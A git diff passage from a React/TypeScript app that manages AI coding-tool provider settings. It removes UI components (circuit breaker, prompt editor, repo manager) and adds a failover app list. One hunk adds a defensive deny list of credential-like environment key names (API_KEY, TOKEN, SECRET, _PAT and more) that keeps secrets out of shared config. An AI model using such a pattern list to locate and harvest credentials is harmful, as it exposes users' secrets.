d="M193.128 836.886c-4.596-4.85-25.53 1.022-38.295 8.936-9.957-5.106-21.956-8.17-34.721-8.17-13.02 0-25.02 3.064-34.977 8.17-12.765-7.914-33.955-14.042-38.295-8.936-4.595 5.106 3.32 26.296 12.765 38.04-.766 3.064-1.276 6.128-1.276 9.446 0 10.212 4.34 19.659 11.744 27.318h42.124c-1.276-2.553.511-4.085 8.17-4.085 7.659.255 9.19 1.532 8.17 4.085h42.124c7.404-7.66 11.744-17.36 11.744-27.318 0-3.318-.51-6.382-1.276-9.446 8.935-11.744 16.594-33.189 11.999-38.04m-97.015 67.4c-8.935 0-16.339-7.404-16.339-16.34s7.404-16.339 16.34-16.339 16.339 7.404 16.339 16.34-7.404 16.339-16.34 16.339m47.997 0c-8.936 0-16.34-7.404-16.34-16.34s7.404-16.339 16.34-16.339 16.34 7.404 16.34 16.34-7.15 16.339-16.34 16.339"
style={{
clipRule: "evenodd",
fill: "#784421",
fillOpacity: 1,
fillRule: "evenodd",
strokeWidth: 2.55301046,
}}
/>
<g style={{ fill: "#2b1100", fillOpacity: 1 }}>
<path
d="M168.507 903.265c15.318-19.148 46.72-28.339 67.655-15.063-24.509-3.83-46.72 2.553-67.655 15.063"
style={{
clipRule: "evenodd",
fillRule: "evenodd",
strokeWidth: 2.55301046,
fill: "#2b1100",
fillOpacity: 1,
}}
/>
<path
d="M167.486 898.67c8.68-20.425 34.466-33.7 55.145-26.552-21.7 2.808-39.316 11.233-55.145 26.551m-.256 9.957c15.83-15.063 50.806-20.169 61.528-4.34-21.7-6.893-40.593-3.83-61.527 4.34"
style={{
clipRule: "evenodd",
fillRule: "evenodd",
strokeWidth: 2.55301046,
fill: "#2b1100",
fillOpacity: 1,
}}
/>
</g>
<g style={{ fill: "#2b1100", fillOpacity: 1 }}>
<path
d="M71.493 903.265c-15.318-19.148-46.72-28.339-67.655-15.063 24.509-3.83 46.72 2.553 67.655 15.063"
style={{
clipRule: "evenodd",
fillRule: "evenodd",
strokeWidth: 2.55301046,
fill: "#2b1100",
fillOpacity: 1,
}}
/>
<path
d="M72.514 898.67c-8.68-20.425-34.466-33.7-55.145-26.552 21.7 2.808 39.316 11.233 55.145 26.551m.256 9.957c-15.83-15.063-50.806-20.169-61.528-4.34 21.7-6.893 40.593-3.83 61.527 4.34"
style={{
clipRule: "evenodd",
fillRule: "evenodd",
strokeWidth: 2.55301046,
fill: "#2b1100",
fillOpacity: 1,
}}
/>
</g>
<path
d="M52.6 893.563c-6.382 0-11.743 3.32-14.296 8.425h-.766c-6.893 0-12.765 5.106-12.765 11.489 0 8.935 9.19 13.786 17.615 10.722 5.106 7.404 16.084 7.915 20.17 0 6.126-.255 16.083-1.276 17.615-10.722 1.021-6.383-5.617-11.489-12.765-11.489h-.766c-2.042-5.106-7.659-8.425-14.041-8.425m134.8 0c6.382 0 11.743 3.32 14.296 8.425h.766c3.574 0 12.765 5.106 12.765 11.489 0 8.935-9.19 13.786-17.615 10.722-5.107 7.404-16.084 7.915-20.17 0-6.126-.255-16.083-1.276-17.615-10.722-1.021-6.383 9.19-11.489 12.765-11.489h.766c2.042-5.106 7.659-8.425 14.041-8.425"
style={{
clipRule: "evenodd",
fill: "#483737",
fillOpacity: 1,
fillRule: "evenodd",
strokeWidth: 2.55301046,
}}
/>
<path
d="M143.542 898.143c1.881 0 3.386-3.574 3.386-8.17 0-4.595-1.505-8.169-3.386-8.169-1.88 0-3.386 3.574-3.386 8.17 0 4.595 1.505 8.17 3.386 8.17"
style={{
clipRule: "evenodd",
fill: "#c0c81f",
fillOpacity: 1,
fillRule: "evenodd",
strokeWidth: 3.09913683,
}}
/>
</g>
</svg>
);
}
-25
View File
@@ -1,25 +0,0 @@
import { Moon, Sun } from "lucide-react";
import { useTranslation } from "react-i18next";
import { Button } from "@/components/ui/button";
import { useTheme } from "@/components/theme-provider";
export function ModeToggle() {
const { theme, setTheme } = useTheme();
const { t } = useTranslation();
const toggleTheme = () => {
if (theme === "dark") {
setTheme("light");
} else {
setTheme("dark");
}
};
return (
<Button variant="outline" size="icon" onClick={toggleTheme}>
<Sun className="h-4 w-4 rotate-0 scale-100 transition-all dark:-rotate-90 dark:scale-0" />
<Moon className="absolute h-4 w-4 rotate-90 scale-0 transition-all dark:rotate-0 dark:scale-100" />
<span className="sr-only">{t("common.toggleTheme")}</span>
</Button>
);
}
-164
View File
@@ -1,164 +0,0 @@
import React, { useState, useEffect } from "react";
import { useTranslation } from "react-i18next";
import { Button } from "@/components/ui/button";
import {
Dialog,
DialogContent,
DialogFooter,
DialogHeader,
DialogTitle,
} from "@/components/ui/dialog";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import MarkdownEditor from "@/components/MarkdownEditor";
import type { Prompt, AppId } from "@/lib/api";
interface PromptFormModalProps {
appId: AppId;
editingId?: string;
initialData?: Prompt;
onSave: (id: string, prompt: Prompt) => Promise<void>;
onClose: () => void;
}
const PromptFormModal: React.FC<PromptFormModalProps> = ({
appId,
editingId,
initialData,
onSave,
onClose,
}) => {
const { t } = useTranslation();
const appName = t(`apps.${appId}`);
const filenameMap: Record<Exclude<AppId, "openclaw">, string> = {
claude: "CLAUDE.md",
"claude-desktop": "CLAUDE.md",
codex: "AGENTS.md",
gemini: "GEMINI.md",
grokbuild: "AGENTS.md",
opencode: "AGENTS.md",
hermes: "AGENTS.md",
};
const filename = filenameMap[appId as Exclude<AppId, "openclaw">];
const [name, setName] = useState("");
const [description, setDescription] = useState("");
const [content, setContent] = useState("");
const [saving, setSaving] = useState(false);
const [isDarkMode, setIsDarkMode] = useState(false);
useEffect(() => {
// 检测初始暗色模式状态
setIsDarkMode(document.documentElement.classList.contains("dark"));
// 监听 html 元素的 class 变化以实时响应主题切换
const observer = new MutationObserver(() => {
setIsDarkMode(document.documentElement.classList.contains("dark"));
});
observer.observe(document.documentElement, {
attributes: true,
attributeFilter: ["class"],
});
return () => observer.disconnect();
}, []);
useEffect(() => {
if (initialData) {
setName(initialData.name);
setDescription(initialData.description || "");
setContent(initialData.content);
}
}, [initialData]);
const handleSave = async () => {
if (!name.trim()) {
return;
}
setSaving(true);
try {
const id = editingId || `prompt-${Date.now()}`;
const timestamp = Math.floor(Date.now() / 1000);
const prompt: Prompt = {
id,
name: name.trim(),
description: description.trim() || undefined,
content: content.trim(),
enabled: initialData?.enabled || false,
createdAt: initialData?.createdAt || timestamp,
updatedAt: timestamp,
};
await onSave(id, prompt);
onClose();
} catch (error) {
// Error handled by hook
} finally {
setSaving(false);
}
};
return (
<Dialog open onOpenChange={onClose}>
<DialogContent className="max-w-2xl max-h-[85vh] flex flex-col">
<DialogHeader>
<DialogTitle>
{editingId
? t("prompts.editTitle", { appName })
: t("prompts.addTitle", { appName })}
</DialogTitle>
</DialogHeader>
<div className="flex-1 overflow-y-auto space-y-4 px-6 py-4">
<div>
<Label htmlFor="name">{t("prompts.name")}</Label>
<Input
id="name"
value={name}
onChange={(e) => setName(e.target.value)}
placeholder={t("prompts.namePlaceholder")}
/>
</div>
<div>
<Label htmlFor="description">{t("prompts.description")}</Label>
<Input
id="description"
value={description}
onChange={(e) => setDescription(e.target.value)}
placeholder={t("prompts.descriptionPlaceholder")}
/>
</div>
<div>
<Label htmlFor="content" className="mb-2 block">
{t("prompts.content")}
</Label>
<MarkdownEditor
value={content}
onChange={setContent}
placeholder={t("prompts.contentPlaceholder", { filename })}
darkMode={isDarkMode}
minHeight="300px"
/>
</div>
</div>
<DialogFooter>
<Button type="button" variant="outline" onClick={onClose}>
{t("common.cancel")}
</Button>
<Button
type="button"
onClick={handleSave}
disabled={!name.trim() || saving}
>
{saving ? t("common.saving") : t("common.save")}
</Button>
</DialogFooter>
</DialogContent>
</Dialog>
);
};
export default PromptFormModal;
@@ -1,51 +0,0 @@
import React from "react";
import { cn } from "@/lib/utils";
import type { HealthStatus } from "@/lib/api/connectivity-check";
import { useTranslation } from "react-i18next";
interface HealthStatusIndicatorProps {
status: HealthStatus;
responseTimeMs?: number;
className?: string;
}
const statusConfig = {
operational: {
color: "bg-emerald-500",
labelKey: "health.operational",
labelFallback: "正常",
textColor: "text-emerald-600 dark:text-emerald-400",
},
degraded: {
color: "bg-yellow-500",
labelKey: "health.degraded",
labelFallback: "降级",
textColor: "text-yellow-600 dark:text-yellow-400",
},
failed: {
color: "bg-red-500",
labelKey: "health.failed",
labelFallback: "失败",
textColor: "text-red-600 dark:text-red-400",
},
};
export const HealthStatusIndicator: React.FC<HealthStatusIndicatorProps> = ({
status,
responseTimeMs,
className,
}) => {
const { t } = useTranslation();
const config = statusConfig[status];
const label = t(config.labelKey, { defaultValue: config.labelFallback });
return (
<div className={cn("flex items-center gap-2", className)}>
<div className={cn("w-2 h-2 rounded-full", config.color)} />
<span className={cn("text-xs font-medium", config.textColor)}>
{label}
{responseTimeMs !== undefined && ` (${responseTimeMs}ms)`}
</span>
</div>
);
};
@@ -4,7 +4,6 @@ export { useBaseUrlState } from "./useBaseUrlState";
export { useModelState } from "./useModelState";
export { useCodexConfigState } from "./useCodexConfigState";
export { useApiKeyLink } from "./useApiKeyLink";
export { useCustomEndpoints } from "./useCustomEndpoints";
export { useTemplateValues } from "./useTemplateValues";
export { useCommonConfigSnippet } from "./useCommonConfigSnippet";
export { useCodexCommonConfig } from "./useCodexCommonConfig";
@@ -1,92 +0,0 @@
import { useMemo } from "react";
import type { AppId } from "@/lib/api";
import type { CustomEndpoint } from "@/types";
import type { ProviderPreset } from "@/config/claudeProviderPresets";
import type { CodexProviderPreset } from "@/config/codexProviderPresets";
type PresetEntry = {
id: string;
preset: ProviderPreset | CodexProviderPreset;
};
interface UseCustomEndpointsProps {
appId: AppId;
selectedPresetId: string | null;
presetEntries: PresetEntry[];
draftCustomEndpoints: string[];
baseUrl: string;
codexBaseUrl: string;
}
/**
*
*
*
* 1.
* 2. endpointCandidates
* 3. Base URL
*/
export function useCustomEndpoints({
appId,
selectedPresetId,
presetEntries,
draftCustomEndpoints,
baseUrl,
codexBaseUrl,
}: UseCustomEndpointsProps) {
const customEndpointsMap = useMemo(() => {
const urlSet = new Set<string>();
// 辅助函数:标准化并添加 URL
const push = (raw?: string) => {
const url = (raw || "").trim().replace(/\/+$/, "");
if (url) urlSet.add(url);
};
// 1. 自定义端点(来自用户新增)
for (const u of draftCustomEndpoints) push(u);
// 2. 预设端点候选
if (selectedPresetId && selectedPresetId !== "custom") {
const entry = presetEntries.find((item) => item.id === selectedPresetId);
if (entry) {
const preset = entry.preset as any;
if (Array.isArray(preset?.endpointCandidates)) {
for (const u of preset.endpointCandidates as string[]) push(u);
}
}
}
// 3. 当前 Base URL
if (appId === "codex") {
push(codexBaseUrl);
} else {
push(baseUrl);
}
// 构建 CustomEndpoint map
const urls = Array.from(urlSet.values());
if (urls.length === 0) {
return null;
}
const now = Date.now();
const customMap: Record<string, CustomEndpoint> = {};
for (const url of urls) {
if (!customMap[url]) {
customMap[url] = { url, addedAt: now, lastUsed: undefined };
}
}
return customMap;
}, [
appId,
selectedPresetId,
presetEntries,
draftCustomEndpoints,
baseUrl,
codexBaseUrl,
]);
return customEndpointsMap;
}
@@ -5,11 +5,77 @@ import { configApi } from "@/lib/api";
const LEGACY_STORAGE_KEY = "cc-switch:gemini-common-config-snippet";
const DEFAULT_GEMINI_COMMON_CONFIG_SNIPPET = "{}";
/** 供应商专属、不可共享的键(端点与主凭据),按名单剥离。 */
const GEMINI_COMMON_ENV_FORBIDDEN_KEYS = [
"GOOGLE_GEMINI_BASE_URL",
"GEMINI_API_KEY",
] as const;
type GeminiForbiddenEnvKey = (typeof GEMINI_COMMON_ENV_FORBIDDEN_KEYS)[number];
/**
* `ProviderService::is_sensitive_config_key`
*
* **** Gemini env
* `*_API_KEY``GOOGLE_API_KEY`
*
*/
const SENSITIVE_EXACT = [
"APIKEY",
"API_KEY",
"TOKEN",
"SECRET",
"PASSWORD",
"CREDENTIALS",
];
// 单数 `_TOKEN` 命中 AWS_SESSION_TOKEN 等,但不误伤复数 `_TOKENS`(那是正常配置)
const SENSITIVE_SUFFIXES = [
// 裸 `_KEY` 是最常见的凭据写法(OPENAI_KEY / GROQ_KEY / XAI_KEY…),必须单列:
// 只枚举 `_API_KEY` / `_ACCESS_KEY` 这些子类,等于把最普通的那一种漏在外面。
"_KEY",
"_API_KEY",
"_ACCESS_KEY",
"_ACCESS_KEY_ID",
"_KEY_ID",
"_PRIVATE_KEY",
// 不带分隔符的复合写法各走各的后缀:`_KEY` 够不着 `..._APIKEY`。
"_APIKEY",
"_ACCESSKEY",
"_SECRETKEY",
"_APITOKEN",
"_AUTH_TOKEN",
"_TOKEN",
// GITHUB_PAT / GITLAB_PAT 等 personal access token 的惯用写法,
// 既不含 TOKEN 也不含 KEY,前面每一条规则都够不着。
"_PAT",
// 口令类的常见缩写。`_PASS` 不会误伤 `*_BYPASS``_PWD` 不会误伤 PWD / OLDPWD。
"_PWD",
"_PASS",
"_PASSPHRASE",
"_CREDS",
];
const SENSITIVE_CONTAINS = [
"SECRET",
"PASSWORD",
"PASSWD",
"CREDENTIAL",
"PRIVATE_KEY",
"BEARER_TOKEN",
];
function isForbiddenCommonEnvKey(name: string): boolean {
if (
GEMINI_COMMON_ENV_FORBIDDEN_KEYS.includes(
name as (typeof GEMINI_COMMON_ENV_FORBIDDEN_KEYS)[number],
)
) {
return true;
}
const upper = name.toUpperCase();
return (
SENSITIVE_EXACT.includes(upper) ||
SENSITIVE_SUFFIXES.some((suffix) => upper.endsWith(suffix)) ||
SENSITIVE_CONTAINS.some((part) => upper.includes(part))
);
}
interface UseGeminiCommonConfigProps {
envValue: string;
@@ -90,9 +156,7 @@ export function useGeminiCommonConfig({
}
const keys = Object.keys(parsed);
const forbiddenKeys = keys.filter((key) =>
GEMINI_COMMON_ENV_FORBIDDEN_KEYS.includes(key as GeminiForbiddenEnvKey),
);
const forbiddenKeys = keys.filter(isForbiddenCommonEnvKey);
if (forbiddenKeys.length > 0) {
return {
env: {},
@@ -1,356 +0,0 @@
import {
useCircuitBreakerConfig,
useUpdateCircuitBreakerConfig,
} from "@/lib/query/failover";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { Button } from "@/components/ui/button";
import { useState, useEffect } from "react";
import { toast } from "sonner";
import { useTranslation } from "react-i18next";
/**
*
*
*/
export function CircuitBreakerConfigPanel() {
const { t } = useTranslation();
const { data: config, isLoading } = useCircuitBreakerConfig();
const updateConfig = useUpdateCircuitBreakerConfig();
// 使用字符串状态以支持完全清空输入框
const [formData, setFormData] = useState({
failureThreshold: "5",
successThreshold: "2",
timeoutSeconds: "60",
errorRateThreshold: "50", // 存储百分比值
minRequests: "10",
});
// 当配置加载完成时更新表单数据
useEffect(() => {
if (config) {
setFormData({
failureThreshold: String(config.failureThreshold),
successThreshold: String(config.successThreshold),
timeoutSeconds: String(config.timeoutSeconds),
errorRateThreshold: String(Math.round(config.errorRateThreshold * 100)),
minRequests: String(config.minRequests),
});
}
}, [config]);
const handleSave = async () => {
// 解析数字,返回 NaN 表示无效输入
const parseNum = (val: string) => {
const trimmed = val.trim();
// 必须是纯数字
if (!/^-?\d+$/.test(trimmed)) return NaN;
return parseInt(trimmed);
};
// 定义各字段的有效范围
const ranges = {
failureThreshold: { min: 1, max: 20 },
successThreshold: { min: 1, max: 10 },
timeoutSeconds: { min: 0, max: 300 },
errorRateThreshold: { min: 0, max: 100 },
minRequests: { min: 5, max: 100 },
};
// 解析原始值
const raw = {
failureThreshold: parseNum(formData.failureThreshold),
successThreshold: parseNum(formData.successThreshold),
timeoutSeconds: parseNum(formData.timeoutSeconds),
errorRateThreshold: parseNum(formData.errorRateThreshold),
minRequests: parseNum(formData.minRequests),
};
// 校验是否超出范围(NaN 也视为无效)
const errors: string[] = [];
const checkRange = (
value: number,
range: { min: number; max: number },
label: string,
) => {
if (isNaN(value) || value < range.min || value > range.max) {
errors.push(`${label}: ${range.min}-${range.max}`);
}
};
checkRange(
raw.failureThreshold,
ranges.failureThreshold,
t("circuitBreaker.failureThreshold", "失败阈值"),
);
checkRange(
raw.successThreshold,
ranges.successThreshold,
t("circuitBreaker.successThreshold", "成功阈值"),
);
checkRange(
raw.timeoutSeconds,
ranges.timeoutSeconds,
t("circuitBreaker.timeoutSeconds", "超时时间"),
);
checkRange(
raw.errorRateThreshold,
ranges.errorRateThreshold,
t("circuitBreaker.errorRateThreshold", "错误率阈值"),
);
checkRange(
raw.minRequests,
ranges.minRequests,
t("circuitBreaker.minRequests", "最小请求数"),
);
if (errors.length > 0) {
toast.error(
t("circuitBreaker.validationFailed", {
fields: errors.join("; "),
defaultValue: `以下字段超出有效范围: ${errors.join("; ")}`,
}),
);
return;
}
try {
await updateConfig.mutateAsync({
failureThreshold: raw.failureThreshold,
successThreshold: raw.successThreshold,
timeoutSeconds: raw.timeoutSeconds,
errorRateThreshold: raw.errorRateThreshold / 100,
minRequests: raw.minRequests,
});
toast.success(t("circuitBreaker.configSaved", "熔断器配置已保存"), {
closeButton: true,
});
} catch (error) {
toast.error(
t("circuitBreaker.saveFailed", "保存失败") + ": " + String(error),
);
}
};
const handleReset = () => {
if (config) {
setFormData({
failureThreshold: String(config.failureThreshold),
successThreshold: String(config.successThreshold),
timeoutSeconds: String(config.timeoutSeconds),
errorRateThreshold: String(Math.round(config.errorRateThreshold * 100)),
minRequests: String(config.minRequests),
});
}
};
if (isLoading) {
return (
<div className="text-sm text-muted-foreground">
{t("circuitBreaker.loading", "加载中...")}
</div>
);
}
return (
<div className="space-y-6">
<div>
<h3 className="text-lg font-semibold">
{t("circuitBreaker.title", "熔断器配置")}
</h3>
<p className="text-sm text-muted-foreground mt-1">
{t(
"circuitBreaker.description",
"调整熔断器参数以控制故障检测和恢复行为",
)}
</p>
</div>
<div className="h-px bg-border my-4" />
<div className="grid grid-cols-1 md:grid-cols-2 gap-6">
{/* 失败阈值 */}
<div className="space-y-2">
<Label htmlFor="failureThreshold">
{t("circuitBreaker.failureThreshold", "失败阈值")}
</Label>
<Input
id="failureThreshold"
type="number"
min="1"
max="20"
value={formData.failureThreshold}
onChange={(e) =>
setFormData({ ...formData, failureThreshold: e.target.value })
}
/>
<p className="text-xs text-muted-foreground">
{t(
"circuitBreaker.failureThresholdHint",
"连续失败多少次后打开熔断器",
)}
</p>
</div>
{/* 超时时间 */}
<div className="space-y-2">
<Label htmlFor="timeoutSeconds">
{t("circuitBreaker.timeoutSeconds", "超时时间(秒)")}
</Label>
<Input
id="timeoutSeconds"
type="number"
min="0"
max="300"
value={formData.timeoutSeconds}
onChange={(e) =>
setFormData({ ...formData, timeoutSeconds: e.target.value })
}
/>
<p className="text-xs text-muted-foreground">
{t(
"circuitBreaker.timeoutSecondsHint",
"熔断器打开后多久尝试恢复(半开状态)",
)}
</p>
</div>
{/* 成功阈值 */}
<div className="space-y-2">
<Label htmlFor="successThreshold">
{t("circuitBreaker.successThreshold", "成功阈值")}
</Label>
<Input
id="successThreshold"
type="number"
min="1"
max="10"
value={formData.successThreshold}
onChange={(e) =>
setFormData({ ...formData, successThreshold: e.target.value })
}
/>
<p className="text-xs text-muted-foreground">
{t(
"circuitBreaker.successThresholdHint",
"半开状态下成功多少次后关闭熔断器",
)}
</p>
</div>
{/* 错误率阈值 */}
<div className="space-y-2">
<Label htmlFor="errorRateThreshold">
{t("circuitBreaker.errorRateThreshold", "错误率阈值 (%)")}
</Label>
<Input
id="errorRateThreshold"
type="number"
min="0"
max="100"
step="5"
value={formData.errorRateThreshold}
onChange={(e) =>
setFormData({ ...formData, errorRateThreshold: e.target.value })
}
/>
<p className="text-xs text-muted-foreground">
{t(
"circuitBreaker.errorRateThresholdHint",
"错误率超过此值时打开熔断器",
)}
</p>
</div>
{/* 最小请求数 */}
<div className="space-y-2">
<Label htmlFor="minRequests">
{t("circuitBreaker.minRequests", "最小请求数")}
</Label>
<Input
id="minRequests"
type="number"
min="5"
max="100"
value={formData.minRequests}
onChange={(e) =>
setFormData({ ...formData, minRequests: e.target.value })
}
/>
<p className="text-xs text-muted-foreground">
{t("circuitBreaker.minRequestsHint", "计算错误率前的最小请求数")}
</p>
</div>
</div>
<div className="flex gap-3">
<Button onClick={handleSave} disabled={updateConfig.isPending}>
{updateConfig.isPending
? t("common.saving", "保存中...")
: t("circuitBreaker.saveConfig", "保存配置")}
</Button>
<Button
variant="outline"
onClick={handleReset}
disabled={updateConfig.isPending}
>
{t("common.reset", "重置")}
</Button>
</div>
{/* 说明信息 */}
<div className="p-4 bg-muted/50 rounded-lg space-y-2 text-sm">
<h4 className="font-medium">
{t("circuitBreaker.instructionsTitle", "配置说明")}
</h4>
<ul className="space-y-1 text-muted-foreground">
<li>
{" "}
<strong>{t("circuitBreaker.failureThreshold", "失败阈值")}</strong>
{t(
"circuitBreaker.instructions.failureThreshold",
"连续失败达到此次数时,熔断器打开",
)}
</li>
<li>
<strong>{t("circuitBreaker.timeoutSeconds", "超时时间")}</strong>
{t(
"circuitBreaker.instructions.timeout",
"熔断器打开后,等待此时间后尝试半开",
)}
</li>
<li>
{" "}
<strong>{t("circuitBreaker.successThreshold", "成功阈值")}</strong>
{t(
"circuitBreaker.instructions.successThreshold",
"半开状态下,成功达到此次数时关闭熔断器",
)}
</li>
<li>
{" "}
<strong>
{t("circuitBreaker.errorRateThreshold", "错误率阈值")}
</strong>
{t(
"circuitBreaker.instructions.errorRate",
"错误率超过此值时,熔断器打开",
)}
</li>
<li>
<strong>{t("circuitBreaker.minRequests", "最小请求数")}</strong>
{t(
"circuitBreaker.instructions.minRequests",
"只有请求数达到此值后才计算错误率",
)}
</li>
</ul>
</div>
</div>
);
}
+3 -2
View File
@@ -15,12 +15,12 @@ import { Switch } from "@/components/ui/switch";
import { Label } from "@/components/ui/label";
import { Input } from "@/components/ui/input";
import { ToggleRow } from "@/components/ui/toggle-row";
import { useProxyStatus } from "@/hooks/useProxyStatus";
import { toast } from "sonner";
import { useFailoverQueue } from "@/lib/query/failover";
import { ProviderHealthBadge } from "@/components/providers/ProviderHealthBadge";
import { useProviderHealth } from "@/lib/query/failover";
import {
useProxyStatusQuery,
useProxyTakeoverStatus,
useSetProxyTakeoverForApp,
useGlobalProxyConfig,
@@ -45,7 +45,8 @@ export function ProxyPanel({
isProxyPending,
}: ProxyPanelProps) {
const { t } = useTranslation();
const { status, isRunning } = useProxyStatus();
const { data: status } = useProxyStatusQuery();
const isRunning = status?.running ?? false;
// 获取应用接管状态
const { data: takeoverStatus } = useProxyTakeoverStatus();
+14 -5
View File
@@ -25,6 +25,13 @@ interface ProxyTabContentProps {
onAutoSave: (updates: Partial<SettingsFormState>) => Promise<boolean | void>;
}
export const FAILOVER_APPS = [
{ id: "claude", label: "Claude" },
{ id: "codex", label: "Codex" },
{ id: "gemini", label: "Gemini" },
{ id: "grokbuild", label: "Grok Build" },
] as const;
export function ProxyTabContent({
settings,
onAutoSave,
@@ -172,12 +179,14 @@ export function ProxyTabContent({
)}
<Tabs defaultValue="claude" className="w-full">
<TabsList className="grid w-full grid-cols-3">
<TabsTrigger value="claude">Claude</TabsTrigger>
<TabsTrigger value="codex">Codex</TabsTrigger>
<TabsTrigger value="gemini">Gemini</TabsTrigger>
<TabsList className="grid w-full grid-cols-4">
{FAILOVER_APPS.map(({ id, label }) => (
<TabsTrigger key={id} value={id}>
{label}
</TabsTrigger>
))}
</TabsList>
{(["claude", "codex", "gemini"] as const).map((appType) => {
{FAILOVER_APPS.map(({ id: appType }) => {
const failoverDisabled =
!isRunning || !(takeoverStatus?.[appType] ?? false);
return (
-202
View File
@@ -1,202 +0,0 @@
import { useState } from "react";
import { useTranslation } from "react-i18next";
import {
Dialog,
DialogContent,
DialogDescription,
DialogHeader,
DialogTitle,
} from "@/components/ui/dialog";
import { Button } from "@/components/ui/button";
import { Input } from "@/components/ui/input";
import { Label } from "@/components/ui/label";
import { Trash2, ExternalLink, Plus } from "lucide-react";
import { settingsApi } from "@/lib/api";
import type { DiscoverableSkill, SkillRepo } from "@/lib/api/skills";
interface RepoManagerProps {
open: boolean;
onOpenChange: (open: boolean) => void;
repos: SkillRepo[];
skills: DiscoverableSkill[];
onAdd: (repo: SkillRepo) => Promise<void>;
onRemove: (owner: string, name: string) => Promise<void>;
}
export function RepoManager({
open: isOpen,
onOpenChange,
repos,
skills,
onAdd,
onRemove,
}: RepoManagerProps) {
const { t } = useTranslation();
const [repoUrl, setRepoUrl] = useState("");
const [branch, setBranch] = useState("");
const [error, setError] = useState("");
const getSkillCount = (repo: SkillRepo) =>
skills.filter(
(skill) =>
skill.repoOwner === repo.owner &&
skill.repoName === repo.name &&
(skill.repoBranch || "main") === (repo.branch || "main"),
).length;
const parseRepoUrl = (
url: string,
): { owner: string; name: string } | null => {
// 支持格式:
// - https://github.com/owner/name
// - owner/name
// - https://github.com/owner/name.git
let cleaned = url.trim();
cleaned = cleaned.replace(/^https?:\/\/github\.com\//, "");
cleaned = cleaned.replace(/\.git$/, "");
const parts = cleaned.split("/");
if (parts.length === 2 && parts[0] && parts[1]) {
return { owner: parts[0], name: parts[1] };
}
return null;
};
const handleAdd = async () => {
setError("");
const parsed = parseRepoUrl(repoUrl);
if (!parsed) {
setError(t("skills.repo.invalidUrl"));
return;
}
try {
await onAdd({
owner: parsed.owner,
name: parsed.name,
branch: branch || "main",
enabled: true,
});
setRepoUrl("");
setBranch("");
} catch (e) {
setError(e instanceof Error ? e.message : t("skills.repo.addFailed"));
}
};
const handleOpenRepo = async (owner: string, name: string) => {
try {
await settingsApi.openExternal(`https://github.com/${owner}/${name}`);
} catch (error) {
console.error("Failed to open URL:", error);
}
};
return (
<Dialog open={isOpen} onOpenChange={onOpenChange}>
<DialogContent className="max-w-2xl max-h-[80vh] flex flex-col p-0">
{/* 固定头部 */}
<DialogHeader className="flex-shrink-0 border-b border-border-default px-6 py-4">
<DialogTitle>{t("skills.repo.title")}</DialogTitle>
<DialogDescription>{t("skills.repo.description")}</DialogDescription>
</DialogHeader>
{/* 可滚动内容区域 */}
<div className="flex-1 min-h-0 overflow-y-auto px-6 py-4">
{/* 添加仓库表单 */}
<div className="space-y-5">
<div className="space-y-2">
<Label htmlFor="repo-url">{t("skills.repo.url")}</Label>
<div className="flex flex-col gap-3">
<Input
id="repo-url"
placeholder={t("skills.repo.urlPlaceholder")}
value={repoUrl}
onChange={(e) => setRepoUrl(e.target.value)}
className="flex-1"
/>
<div className="flex flex-col gap-3 sm:flex-row">
<Input
id="branch"
placeholder={t("skills.repo.branchPlaceholder")}
value={branch}
onChange={(e) => setBranch(e.target.value)}
className="flex-1"
/>
<Button
onClick={handleAdd}
className="w-full sm:w-auto sm:px-4"
variant="mcp"
type="button"
>
<Plus className="h-4 w-4 mr-2" />
{t("skills.repo.add")}
</Button>
</div>
</div>
{error && <p className="text-xs text-destructive">{error}</p>}
</div>
{/* 仓库列表 */}
<div className="space-y-3">
<h4 className="text-sm font-medium">{t("skills.repo.list")}</h4>
{repos.length === 0 ? (
<p className="text-sm text-muted-foreground">
{t("skills.repo.empty")}
</p>
) : (
<div className="space-y-3">
{repos.map((repo) => (
<div
key={`${repo.owner}/${repo.name}`}
className="flex items-center justify-between rounded-xl border border-border-default bg-card px-4 py-3"
>
<div>
<div className="text-sm font-medium text-foreground">
{repo.owner}/{repo.name}
</div>
<div className="mt-1 text-xs text-muted-foreground">
{t("skills.repo.branch")}: {repo.branch || "main"}
<span className="ml-3 inline-flex items-center rounded-full border border-border-default px-2 py-0.5 text-[11px]">
{t("skills.repo.skillCount", {
count: getSkillCount(repo),
})}
</span>
</div>
</div>
<div className="flex gap-2">
<Button
variant="ghost"
size="icon"
type="button"
onClick={() => handleOpenRepo(repo.owner, repo.name)}
title={t("common.view", { defaultValue: "查看" })}
>
<ExternalLink className="h-4 w-4" />
</Button>
<Button
variant="ghost"
size="icon"
type="button"
onClick={() => onRemove(repo.owner, repo.name)}
title={t("common.delete")}
className="hover:text-red-500 hover:bg-red-100 dark:hover:text-red-400 dark:hover:bg-red-500/10"
>
<Trash2 className="h-4 w-4" />
</Button>
</div>
</div>
))}
</div>
)}
</div>
</div>
</div>
</DialogContent>
</Dialog>
);
}
-126
View File
@@ -1,126 +0,0 @@
import { useTranslation } from "react-i18next";
import { useQuery, useQueryClient } from "@tanstack/react-query";
import { usageApi } from "@/lib/api/usage";
import { usageKeys } from "@/lib/query/usage";
import { Database, FileText, RefreshCw, Loader2 } from "lucide-react";
import { Button } from "@/components/ui/button";
import { useState } from "react";
import { toast } from "sonner";
interface DataSourceBarProps {
refreshIntervalMs: number;
}
const DATA_SOURCE_ICONS: Record<string, React.ReactNode> = {
proxy: <Database className="h-3.5 w-3.5" />,
session_log: <FileText className="h-3.5 w-3.5" />,
codex_db: <Database className="h-3.5 w-3.5" />,
codex_session: <FileText className="h-3.5 w-3.5" />,
gemini_session: <FileText className="h-3.5 w-3.5" />,
opencode_session: <FileText className="h-3.5 w-3.5" />,
grok_session: <FileText className="h-3.5 w-3.5" />,
};
export function DataSourceBar({ refreshIntervalMs }: DataSourceBarProps) {
const { t } = useTranslation();
const queryClient = useQueryClient();
const [syncing, setSyncing] = useState(false);
const { data: sources } = useQuery({
queryKey: [...usageKeys.all, "data-sources"],
queryFn: usageApi.getDataSourceBreakdown,
refetchInterval: refreshIntervalMs > 0 ? refreshIntervalMs : false,
refetchIntervalInBackground: false,
});
const handleSync = async () => {
setSyncing(true);
try {
const result = await usageApi.syncSessionUsage();
if (result.imported > 0) {
toast.success(
t("usage.sessionSync.imported", {
count: result.imported,
defaultValue: "Imported {{count}} records from session logs",
}),
);
// Refresh all usage data
queryClient.invalidateQueries({ queryKey: usageKeys.all });
} else {
toast.info(
t("usage.sessionSync.upToDate", {
